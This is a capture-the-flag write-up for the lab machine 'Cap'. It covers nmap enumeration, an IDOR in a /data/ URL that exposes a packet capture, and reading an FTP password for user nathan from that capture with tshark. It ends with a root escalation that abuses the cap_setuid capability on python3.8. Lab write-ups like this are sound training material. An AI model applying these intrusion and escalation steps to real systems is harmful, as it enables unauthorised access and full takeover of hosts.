Cap

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.245 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan those ports more in depth and save the result into a file:

nmap -sC -sV -p21,22,80 10.10.10.245 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

Let's take a look at the website on port 80.

Exploitation

If we take a look at the Security Snapshot (5 Second PCAP + Analysis) section, we'll access the /data/1 directory, which will show that the number of packets in all the data types are set to 0.

http://10.10.10.245/data/1

But if we try to change the number of the URL from 1 to 0, we'll see some packets in each data type. Also notice that there is a Download button.

http://10.10.10.245/data/0

If we press on the Download button, we'll download a .pcap file.

PCAP files are data files created by Wireshark, which contains network packet data created during a live network capture.

We can see its content from the terminal with the tshark tool.

tshark -r 0.pcap

  • -r read file.

Let's filter the output and only get the FTP packets.

tshark -r 0.pcap -Y "ftp"

  • -r read file.

  • -Y packets matching the filter are printed.

We can see the user nathan logged in with the Buck3tH4TF0RM3! password to the FTP server. If we log in with these credentials in the FTP server, we'll see the user.txt file.

ftp nathan@10.10.10.245

Let's transfer the file to our local machine and grab the user flag.

ftp> get user.txt

cat user.txt

Privilege Escalation

Let's log in via SSH with the previous credentials.

ssh nathan@10.10.10.245

At this point, I started enumerating the machine looking for ways of becoming the root user, but I couldn't find anything until I listed the capabilities.

Linux divides the privileges traditionally associated with superuser into distinct units, known as capabilities, which can be independently enabled and disabled.

getcap / -r 2>/dev/null

  • -r enables recursive search.

We see, that Python3.8 has the cap_setuid capability. We can open python, set the 0 UID, which is the root UID, and open a shell.

python3.8

>>> import os

>>> os.setuid(0)

>>> os.system("bash")

Now all we have to do is reap the harvest and take the root flag.

cat /root/root.txt

Last updated

Was this helpful?